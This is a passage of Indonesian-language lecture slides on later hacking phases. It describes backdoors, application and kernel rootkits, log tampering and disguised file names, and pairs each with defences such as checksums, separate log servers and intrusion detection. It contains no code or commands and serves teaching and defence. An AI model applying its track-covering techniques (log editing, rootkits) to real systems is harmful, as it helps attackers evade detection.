    Pertahanan terhadap trojan Antivirus software  Hati-hati terhadap aplikasi yang ditawarkan diinternet  Check MD5 sum dari perangkat lunak terpercaya yang didownload  Disable automatic execution pada attachment
  • 67.
    Hasil dari fasemaintaining access  Penyerang telah dapat membuat backdoor pada sistem korban dan dapat mengaksesnya kapan saja
  • 68.
    Phase 5: Menyembunyikanjejak  Rootkit  Mengubah log files  Membuat file tersamar
  • 69.
    Rootkit  Mengubah/ memodifikasifile library yang digunakan oleh aplikasi (dll files)  Rootkit kadang sepaket dengan malware lain seperti sniffer, keylogger dll
  • 70.
    Application Rootkits  Penyerangakan memodifikasi file-file yang dapat membahayakan keberadaannya, misanya  List processes e.g. ps  List files e.g. ls  Show open ports e.g. netstat  Show system utilization e.g. top
  • 71.
    Pertahanan terhadap Rootkit Cegah agar penyerang tidak mudah memperoleh akses ke root /adminstrator  Hati hati terhadap software yang ditawarkan di internet  Periksa checksum MD5 dari software yang didownload
  • 72.
    Kernel Rootkits  Memodifikasisystem call  Mengubah file system atau driver dari sistem operasi dan di load sebagai bagian dari proses utama sistem operasi  Checksum tidak dapat mendeteksi karena penyerang tidak memodifikasi file  Biasanya diinstal sebagai modul dari kernel
  • 73.
    Memodifikasi log  Untukbinary log - stop logging services - load files ke memori untuk diubah - menggunakan tools tertentu  Untu log berbasis text dapat dengan mudah dimodifikasi via script  Mengubah login dan event log, history file dan last login data
  • 74.
    Pertahanan terhadap seranganlog  Gunakan log server terpisah mesin akan mengirim log-nya ke server  Enkripsi log file  Buat log files dengan status append only
  • 75.
    Membuat file tersamar Membuat suatu file dengan menggunakan nama yang menyerupai nama file sistem pada sistem operasi dengan perubahan seminimal mungkin  Pertahanan terhadap serangan model ini adalah sikap waspada dari pengguna dan penggunaan perangkat lunak sejenis intrusion detection system